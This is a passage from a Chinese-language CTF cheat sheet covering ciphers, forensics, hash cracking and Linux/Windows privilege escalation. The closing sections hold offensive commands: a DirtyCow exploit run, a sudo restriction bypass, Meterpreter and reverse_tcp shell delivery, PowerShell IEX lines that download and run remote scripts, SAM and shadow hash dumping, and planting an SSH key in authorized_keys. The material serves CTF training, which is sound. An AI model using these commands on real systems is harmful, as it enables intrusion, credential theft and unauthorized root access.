'U2FsdGVk...' | base64 -d ``` ### 📡 运行时跟踪(动态分析) #### 🧩 使用 `strace` 监控系统调用: ``` strace -s 9999 -f -e trace=recv,read ./ ``` - `-f`:跟踪子进程。 - `-s`:增加字符串捕获大小(默认为 32)。 - 观察运行时的 Flag 输出或隐藏的读取事件。 #### 🧬 使用 `ltrace` 跟踪函数调用: ``` ltrace ./ ``` - 显示**动态库调用**,可用于发现: - 密码检查 - 字符串比较 - 文件读取 ### 🎯 CTF 专家提示: - **如果文本看起来是二进制但一致的,请尝试 XOR 解码**: ``` xxd -p file | tr -d '\n' | xxd -r -p | xor_tool ``` - **如果字符串在内存中被加密或操纵,请使用 Ghidra 或 GDB** 跟踪逻辑。 - **将 `strace` 与 `tee` 或 `grep` 结合使用**,实时查看提取的数据。 - **如果 base64 没有产生有用的输出,请检查 Unicode、ROT13 或十六进制编码的 Flag。** ## 密码学 ### 🔐 凯撒密码 **凯撒密码**是一种简单的替换密码,其中每个字母在字母表中移动固定数量的位置。 #### 🧭 经典凯撒解密 如果挑战提到了 **"caesar"**,它很可能使用了基本的移位密码。 - 手动尝试所有 25 种移位: ``` for i in {1..25}; do echo "ciphertext" | tr 'A-Za-z' "$(echo {A..Z} | sed -E "s/(.{$i})(.*)/\2\1/")$(echo {a..z} | sed -E "s/(.{$i})(.*)/\2\1/")"; done ``` 或使用 [**dCode 凯撒求解器**](https://www.dcode.fr/caesar-cipher)。 #### 🧱 凯撒方阵密码 如果密文包含 `!` 等字符或呈现出块状外观: - 很可能是 **凯撒方阵 (列置换)** 密码。 使用: 👉 [**凯撒方阵求解器**](https://www.dcode.fr/caesar-box-cipher) 粘贴文本并暴力破解尺寸或平方大小。 ### 🎯 CTF 专家提示: - **寻找线索词**:"shift"、"rotate"、"move"、"Julius" 或 "Rome"。 - **如果给出了数字提示(如 3 或 13)**,请将它们用作移位值。 - **使用以下命令尝试反向移位 (ROT13 或 ROT-N)**: ``` echo "ciphertext" | tr 'A-Za-z' 'N-ZA-Mn-za-m' ``` - 如果使用了多层编码,请将凯撒解码与 base64 或十六进制结合使用。 ### 🧩 维吉尼亚密码 **维吉尼亚密码**是一种多表替换密码,它使用重复的密钥来移动字母。 #### 🔓 在不知道密钥的情况下破解 使用这个在线暴力破解求解器: 👉 [**Guballa 维吉尼亚求解器**](https://www.guballa.de/vigenere-solver) - 粘贴密文,让它自动检测密钥长度和内容。 - 它在幕后使用了频率分析和 Kasiski 测试。 ### 🎯 CTF 专家提示: - **诸如 "key"、"password"、"repeating" 或 "polyalphabetic" 之类的线索**通常表示是维吉尼亚密码。 - 尝试**常见密钥**,例如: - `flag`、`ctf`、`security`、`secret`、`pass` - 如果**部分明文或已知单词可见**,请使用**已知明文攻击**。 - 如果密文**全部大写且没有空格**,则怀疑是维吉尼亚密码或 Playfair 密码。 - **分层编码**(例如 base64 → 维吉尼亚 → 凯撒)很常见——请按相反顺序解码。 ### 🗝️ 一次性密码本 (OTP) 密码 如果使用得当(随机密钥、只用一次、与明文长度相同),**一次性密码本**是不可破解的密码。在 CTF 中,它的实现通常是不正确的——这使得它是可破解的。 #### 🔓 轻松解决 OTP 使用此在线工具: 👉 [**OTP 解密工具**](http://rumkin.com/tools/cipher/otp.php) - 输入**密文**和**密钥**(如果密钥被重复使用或可预测,则进行猜测/暴力破解)。 - 通过密文和密钥的 XOR 完成解密。 ### 🧠 CTF 用例:破解 SSH 私钥 如果 OTP 是一个障眼法,而您找到了一个 `id_rsa` 文件,请使用 `john` 破解它: ``` /usr/share/john/ssh2john.py id_rsa > output.hash john output.hash --wordlist=/usr/share/wordlists/rockyou.txt ``` ### 🎯 CTF 专家提示: - **OTP 密文和密钥的长度必须相同** —— 在解码前进行验证。 - 如果怀疑密钥被重复使用,请将其视为**带 XOR 的维吉尼亚密码**。 - **使用十六进制编辑器或 `xxd`** 识别二进制 OTP 文件中的 XOR 模式。 - 检查密钥是否: - 硬编码在源代码中 - 在另一个文件中找到 - 与 Flag 的一部分相同 ## 数字取证 ### 🖼️ 图像文件分析 图像通常使用隐写术、元数据或嵌入的文件结构来隐藏 Flag。 #### 📄 识别图像文件类型 ``` file ``` - 无论扩展名如何(例如 PNG 被重命名为 JPG),都能确认真实的文件类型。 #### 🧬 元数据分析 ``` exiftool ``` - 显示隐藏字段,如 `Author`、`Comment` 或 GPS 坐标。 - 寻找不同寻常的标签,如 `Software`、`UserComment` 或 `DocumentName`。 #### 🔍 隐写术 – 提取隐藏数据 **使用 `zsteg` 获取 LSB 和颜色通道 Payload(仅限 PNG)**: ``` zsteg ``` **使用 `steghide` 处理受密码保护的嵌入内容**: ``` steghide extract -sf ``` - 提示输入密码——使用 `rockyou.txt` 进行暴力破解尝试。 **使用 `steghide_brute` 暴力破解 `steghide`**(可选工具): ``` python steghide_brute.py -f -w rockyou.txt ``` #### 🔡 提取嵌入的文本 ``` strings | grep -i flag ``` - CTF 中 Flag 通常作为明文或 ASCII 嵌入。 ### 🎯 CTF 专家提示: - **检查 Alpha/透明通道**是否有隐藏的覆盖层。 - **使用 `binwalk`** 检测嵌入的 ZIP、图像或文件: ``` binwalk -e ``` - **在十六进制编辑器(例如 `hexeditor`)中打开图像**以检查尾部的异常。 - **尝试 OCR**(用于类似验证码的 Flag 或图形编码): ``` tesseract stdout ``` - **使用 `stegsolve.jar` 或 `StegSpy` 检查像素数据操作**以进行更深入的分析。 ### 🧪 Binwalk – 嵌入数据提取 `binwalk` 用于分析二进制文件(如图像或固件)以查找**嵌入的文件**、**压缩存档**或**隐藏内容**。 #### 🔍 基本扫描 ``` binwalk ``` - 扫描指示 ZIP、PNG、PDF、压缩数据等的 Magic Bytes。 #### 🧠 如果检测到 ZIP/存档 您可以手动提取它: ``` mv .zip unzip .zip ``` #### 🔓 自动提取所有嵌入文件 ``` binwalk -e ``` - 将所有识别出的文件提取到 `_.extracted/` 中 #### 🔁 递归提取(处理嵌套存档) ``` binwalk -Me ``` - 非常适合多层的 CTF 隐写挑战。 ### 🎯 CTF 专家提示: - **使用 `--dd` 手动提取特定类型**: ``` binwalk --dd='.*' ``` - **提取后结合 `steghide`、`exiftool` 和 `zsteg`。** - **检查嵌入文件的 `footer`** —— Flag 可能被追加到合法内容之后。 - **适用于涉及固件、DOCX/XLSX 或伪装文件格式的挑战。** ### 💽 提取 NTFS 文件系统 NTFS 文件可能包含**隐藏数据**、**备用数据流**或**分区内容**——这在 CTF 中经常被利用。 #### 🪟 在 Windows 上(备用数据流) 1️⃣ **列出隐藏流:** ``` dir /R ``` 2️⃣ **提取隐藏流内容:** ``` more : ``` 或 3️⃣ 使用 **7-Zip** 直接提取 `.ntfs` 容器: - 右键单击 → “解压到当前文件夹” #### 🐧 在 Linux 上 挂载 NTFS 镜像: ``` sudo mount -o loop mnt/ ``` - 探索 `mnt/`,在 `$MFT`、`$Recycle.Bin` 或 `System Volume Information` 中查找 Flag。 ### 🎯 CTF 专家提示: - **在 Linux 上手动搜索 ADS (备用数据流):** ``` strings | grep -i ":" ``` - **在 Linux 上使用 `ntfs-3g` 获得完整的 NTFS 读/写访问权限。** - **使用 `sleuthkit` 或 `autopsy`** 进行取证级别的 NTFS 检查。 - **检查存储在 ADS 或隐藏文件夹中的 base64 或 zip 文件。** ### 🧷 从已删除的文件系统中恢复文件(远程取证) 使用此方法远程**镜像和提取已删除的文件系统**——这在取证或基于 IR 的 CTF 中通常是必需的。 #### 📡 步骤 1:远程创建磁盘镜像(通过 SSH) ``` ssh username@ "sudo dcfldd if=/dev/sdb | gzip -1 -" > extract.dd.gz ``` - `dcfldd`:对取证友好的 `dd`,带有进度和哈希功能。 - `gzip`:在传输期间压缩数据。 #### 📦 步骤 2:在本地解压镜像 ``` gunzip extract.dd.gz ``` #### 🔍 步骤 3:提取和分析 ``` binwalk -Me extract.dd ``` - 递归解压嵌入的文件、文件系统和归档数据。 ### 🎯 CTF 专家提示: - **如果没有 `dcfldd`**,请使用: ``` ssh user@host "sudo dd if=/dev/sdb bs=4M | gzip -" > disk.dd.gz ``` - **使用 `photorec` 或 `foremost`** 进行文件雕刻: ``` photorec /log /d output/ /cmd recover.cmd ``` - **挂载分区以进行手动检查**: ``` sudo mount -o loop,ro,offset= extract.dd mnt/ ``` - 使用 `fdisk -l extract.dd` 查找偏移量 - **使用 SleuthKit 中的 `fls` 和 `icat`** 进行目标恢复: ``` fls -r extract.dd icat extract.dd ``` ### 📡 数据包捕获 – USB 按键恢复 在 CTF 中,`.pcap` 或 `.pcapng` 文件可能包含 **USB 键盘流量**,尤其是在分析硬件级别的挑战时。 #### 🔍 从 PCAP 中提取 USB 按键记录 使用 **tshark** 提取 USB 数据: ``` tshark -r -Y "usb.transfer_type == 1" \ -e frame.time_epoch -e usb.capdata -T fields ``` - `usb.transfer_type == 1`:捕获**中断传输**(用于键盘)。 - `usb.capdata`:提取原始按键记录数据。 - 将此输出通过管道传递给脚本,以将按键记录解码为可读文本。 #### 🧠 解码 USB 输入的完整指南 请遵循这篇详细的文章: 👉 [从 PCAP 逆向 USB 按键记录 (Kaizen CTF)](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) ### 🎯 CTF 专家提示: - **使用 Wireshark 过滤器**进行探索: - `usb.device_address` - `usb.transfer_type` - `usb.capdata` - `frame contains flag` - **在普通的 `.pcap` 文件中寻找 HTTP、FTP、DNS、IRC 流量**: ``` tshark -r capture.pcap -Y "http || ftp || dns" -T fields -e ip.dst -e frame.len ``` - **使用 `NetworkMiner` 或 `tcpflow`** 重建文件或提取凭据。 - **在 PCAP 上使用 `strings`** 快速获取线索: ``` strings file.pcap | grep -i flag ``` ### 📜 JavaScript 反混淆器 混淆的 JavaScript 在基于 Web 的 CTF 中常用于**隐藏逻辑、Flag 或后门 Payload**。 #### 🧼 快速反混淆 使用此在线工具: 👉 [**JSNice**](http://www.jsnice.org/) - 使用概率模型自动格式化和重命名变量。 - 有助于理解混淆脚本中的逻辑流程和变量作用。 ### 🎯 CTF 专家提示: - **寻找 base64、hex 或 `eval()` 模式**——常见的混淆技巧。 - **将 `eval()` 替换为 `console.log()`** 以检查解码后的 Payload。 - 使用浏览器开发者工具: - 将混淆的 JS 粘贴到控制台中。 - 使用断点单步执行。 - 对于重度混淆: - 尝试 [**Beautifier.io**](https://beautifier.io/) - 在本地使用 `prettier` 或 `js-beautify`: npx prettier --write script.js ## 密码破解 ### 🔑 JOHN the Ripper – 密码破解 如果挑战提到了 **"JOHN"**,这很可能是在提示使用 **John the Ripper** 来破解哈希或受保护的存档。 #### 🧨 基本用法 ``` john --wordlist=/usr/share/wordlists/rockyou.txt ``` - 支持 `MD5`、`SHA1`、`bcrypt`、`NTLM` 等格式。 - 在许多情况下会自动检测哈希类型。 #### 🔍 识别哈希类型(如果需要) ``` john --list=formats | grep ``` 或使用 [**hash-identifier**] 或 [**NameThatHash**]。 #### 🌐 在线破解(已知哈希) 使用: 👉 [**CrackStation**](https://crackstation.net/) - 粘贴哈希值,以对照庞大的预计算表进行检查。 ### 🎯 CTF 专家提示: - **使用工具转换格式:** - `zip2john`、`rar2john`、`pdf2john`、`ssh2john` 等。 zip2john secret.zip > hash.txt john hash.txt --wordlist=rockyou.txt - **查看已破解的密码:** ``` john --show ``` - **暂停/恢复破解:** ``` john --restore ``` - **破解 SSH 私钥密码:** ``` ssh2john id_rsa > ssh.hash john ssh.hash --wordlist=rockyou.txt ``` ### 🧬 SAM 哈希 – Windows 用户密码转储 **SAM (Security Account Manager)** 存储 Windows 帐户的哈希密码。在 CTF 中,它通常从挂载的 `.vhd` 或 `.img` 磁盘文件中提取。 #### 🔓 提取和转储哈希 1️⃣ **复制 SAM 和 SYSTEM 文件:** ``` cp /mnt/vhd/Windows/System32/config/SAM . cp /mnt/vhd/Windows/System32/config/SYSTEM . ``` 2️⃣ **组织文件:** ``` mkdir Backup_dump mv SAM SYSTEM Backup_dump/ cd Backup_dump/ ``` 3️⃣ **使用 `impacket-secretsdump` 转储哈希:** ``` impacket-secretsdump -sam SAM -system SYSTEM local ``` ✅ 您将获得如下输出: ``` Administrator:500:LMHASH:NTHASH::: User:1000:LMHASH:NTHASH::: ``` ### 🎯 CTF 专家提示: - **使用 `john` 破解 NT 哈希:** ``` john hashes.txt --format=NT --wordlist=rockyou.txt ``` - **如果磁盘镜像已加密(例如 BitLocker),请先使用密码短语或密钥解锁。** - 使用 **`mmls` + `fls` + `icat` (SleuthKit)** 从原始磁盘镜像中进行取证式的 SAM/SYSTEM 提取。 - 一旦哈希被破解,请在**注册表配置单元**和**用户配置文件**中寻找线索。 ### 🐧 Linux 用户哈希 – `/etc/passwd` + `/etc/shadow` 在 Linux 系统中,用户凭据存储在两个文件中: - `/etc/passwd` – 存储用户名和 UID 信息 - `/etc/shadow` – 存储密码哈希(受限访问) #### 🔐 使用 `unshadow` 合并 ``` unshadow passwd shadow > merged_hashes.txt ``` - 将这两个文件合并为与 **John the Ripper** 兼容的格式 #### 🔓 使用 John the Ripper 破解 ``` john merged_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` ### 🎯 CTF 专家提示: - **您可以从虚拟机、Docker 容器或挂载的文件系统中提取这些内容。** - 寻找以以下内容开头的密码哈希: - `$6$` – SHA-512 - `$1$` – MD5 - `$y$` – yescrypt(更安全) - **使用 `john --show`** 显示破解结果: ``` john --show merged_hashes.txt ``` - 如果您只有一个哈希: ``` echo 'user:$6$hash....' > onehash.txt john onehash.txt --wordlist=rockyou.txt ``` ### 🔓 Hashcat – GPU 加速密码破解 Hashcat 是一款功能强大的工具,使用 GPU 加速来破解哈希——非常适合大型数据集或更难破解的哈希。 #### 🚀 基本语法 ``` hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt --force ``` - `-m 500`:哈希类型(500 = MD5 crypt,即 `$1$`) - `-a 0`:攻击模式(0 = 字典攻击) - `-o`:破解结果的输出文件 - `--force`:忽略警告(在虚拟机或非 GPU 系统中使用) ### 🔢 常见哈希模式(使用正确的 `-m`): | 哈希类型 | 示例前缀 | 模式 | |------------------|----------------|------| | MD5 | — | 0 | | SHA1 | — | 100 | | SHA256 | — | 1400 | | bcrypt | `$2y$`, `$2b$` | 3200 | | NTLM | — | 1000 | | SHA512-crypt | `$6$` | 1800 | | MD5-crypt | `$1$` | 500 | ### 🎯 CTF 专家提示: - 使用 `--show` 显示破解结果: ``` hashcat -m 500 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show ``` - 通过识别格式并使用正确的模式,破解**来自 `unshadow`、`zip2john` 或 `ssh2john` 的哈希**。 - 启用优化的 GPU 使用(如果支持): ``` hashcat -O -w 3 ... ``` - 对所有算法进行基准测试: ``` hashcat -b ``` ### 📦 7z 密码破解 要提取和破解**受密码保护的 `.7z` 存档**,请使用 **John the Ripper** 套件中的 `7z2john.py`。 #### 🔧 转换为哈希格式: ``` 7z2john.pl protected.7z > 7z.hash ``` #### 🔓 使用 John 破解: ``` john 7z.hash --wordlist=/usr/share/wordlists/rockyou.txt ``` ### 🔐 SSH 私钥破解 如果给定了一个加密的 SSH 私钥 (`id_rsa`),您可以使用 `ssh2john.py` 恢复其密码。 #### 🔧 将密钥转换为哈希格式: ``` ssh2john.py id_rsa > ssh.hash ``` #### 🔓 使用 John 破解: ``` john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt ``` ### 🎯 CTF 专家提示: - 如果 `john` 失败,请尝试使用正确哈希模式的 `hashcat`(例如 `-m 14600` 用于 7z)。 - SSH 私钥破解通常会导致**获取用户 Shell 或权限提升**。 - 始终检查元数据或文件名(如 `backup.7z`、`id_rsa.bak`)——它们通常包含有价值的凭据。 ## 权限提升 ### 🧰 标准枚举脚本(CTF 速查表) 使用这些工具自动进行**权限提升**、**系统枚举**和**数据解码**——这对于 CTF 中的后渗透至关重要。 #### 🐧 Linux 枚举 - 🔍 [**LinEnum**](https://github.com/rebootuser/LinEnum) - 自动化完整的 Linux 系统枚举——用户、Cron 任务、SUID、内核。 - 🧠 [**LinuxPrivChecker**](https://github.com/sleventyeleven/linuxprivchecker) - 基于脚本的权限提升检查器(非常适合本地提权至 root)。 - 🧾 [**Unix-PrivEsc-Check**](https://github.com/pentestmonkey/unix-privesc-check) - 用于检查常见权限提升向量的 Shell 脚本。 - 📋 [**PEASS-ng (Linux)**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) - `linpeas.sh` – 最全面的本地枚举脚本。 #### 🪟 Windows 枚举 - 🔎 [**JAWS**](https://github.com/411Hall/JAWS) - 用于扫描 Windows 提权路径的 PowerShell 脚本。 - 📋 [**PEASS-ng (Windows)**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) - `winPEAS.exe` – 深度枚举 Windows 服务、任务、错误配置。 #### 🕵️ 运行时进程/任务监控 - ⏱️ [**pspy**](https://github.com/DominicBreuker/pspy) - 无需 root 权限即可观察 **Cron 任务**、**定时脚本**或 **root 执行的进程**。 #### ⚙️ 漏洞利用执行帮助 - 🔓 [**GTFOBins**](https://gtfobins.github.io/) - 帮助利用 `sudo`、`setuid` 和具有相关能力的二进制文件进行权限提升。 - 📑 [**LOLBAS**](https://lolbas-project.github.io/) - GTFOBins 的 Windows 等效工具——枚举和滥用受信任的二进制文件。 #### 🧬 数据分析与解码 - 🧪 [**CyberChef**](https://github.com/gchq/CyberChef) - “网络瑞士军刀”,用于处理 base64、hex、XOR、编码、正则表达式等。 - Web 版本:[CyberChef 在线版](https://gchq.github.io/CyberChef/) ### 🎯 CTF 专家提示: - 在获取初始 Shell 后,务必立即上传并运行 **LinEnum 或 linpeas**。 - 结合 **pspy + GTFOBins** 实现强大的基于 Cron 任务的权限提升。 - 使用 **CyberChef** 快速逆向混淆或解码多层字符串。 ### 🐮 DirtyCow (Linux 权限提升) 利用 [DirtyCow](https://dirtycow.ninja/) 攻击旧版 Linux 内: 👉 PoC 代码:[dirty.c](https://github.com/FireFart/dirtycow/blob/master/dirty.c) ``` gcc -pthread dirty.c -o dirtycow ./dirtycow su firefart # Password: dirtycow ``` ### 🔐 Sudo 提权利用 检查 sudo 权限: ``` sudo -l ``` 常见提权模式: ``` sudo -u /bin/bash sudo cat /root/root.txt sudo -u#-1 /bin/bash # Bypass !root restrictions ``` ### 🪟 Windows 权限提升 **在 Meterpreter 中:** ``` getsystem background use post/multi/recon/local_exploit_suggestor set session 1 run ``` 🔍 其他工具: - [Sherlock (权限建议器)](https://github.com/rasta-mouse/Sherlock) - [FuzzySec 提权指南](https://www.fuzzysecurity.com/tutorials/16.html) 🧬 迁移进程: ``` migrate ``` **Shell 传递:** ``` /opt/unicorn/unicorn.py windows/meterpreter/reverse_tcp 3333 msfconsole -r unicorn.rc ``` ### 🛢️ MySQL 和 VIM 权限提升 **MySQL Shell:** ``` mysql> \! /bin/sh ``` **VIM Shell:** ``` sudo /usr/bin/vi /file/path # 按下 ESC,然后输入: :!/bin/bash ``` ### ⏱️ Cron 任务利用 监控系统任务: ``` tail -f /var/log/syslog ``` 覆盖输入: ``` echo 'url = "file:///root/root.txt"' > input ``` ### 📜 利用 More / Less 或 Journalctl 如果通过特权脚本执行: ``` !/bin/bash ``` 在 VIM/Journalctl 中的示例: ``` sudo /usr/bin/journalctl -n5 -unostromo.service # 然后输入 !/bin/bash ``` ### 🧬 改进反向 Shell ``` python3 -c "import pty; pty.spawn('/bin/bash')" # 按下 CTRL+Z stty raw -echo; fg export TERM=xterm ``` ### 📂 传输文件(主机 → 受害者) **Linux:** ``` python3 -m http.server wget http://:8000/file.sh ``` **Windows:** ``` certutil -urlcache -f http:///payload.exe payload.exe powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://:8000/script.ps1')" ``` ### 📁 FTP 访问 如果登录成功: ``` put id_rsa.pub rename id_rsa.pub .ssh/authorized_keys ``` ### 🕵️ Reconnoitre – 枚举自动化 多线程侦察和服务枚举: 👉 [Reconnoitre 工具](https://github.com/codingo/Reconnoitre) ``` reconnoitre -t -o `pwd` --services ```
标签:AI合规, Cheatsheet, CTI, DOS头擦除, Nmap, Web安全, 云资产清单, 备忘录, 安全学习, 安全竞赛, 密码学, 密码破解, 应用安全, 手动系统调用, 技术速查表, 提权, 插件系统, 数字取证, 数据统计, 文件分析, 端口扫描, 网络安全, 自动化脚本, 蓝队分析, 虚拟驱动器, 逆向工具, 逆向工程, 隐私保护, 黑客技术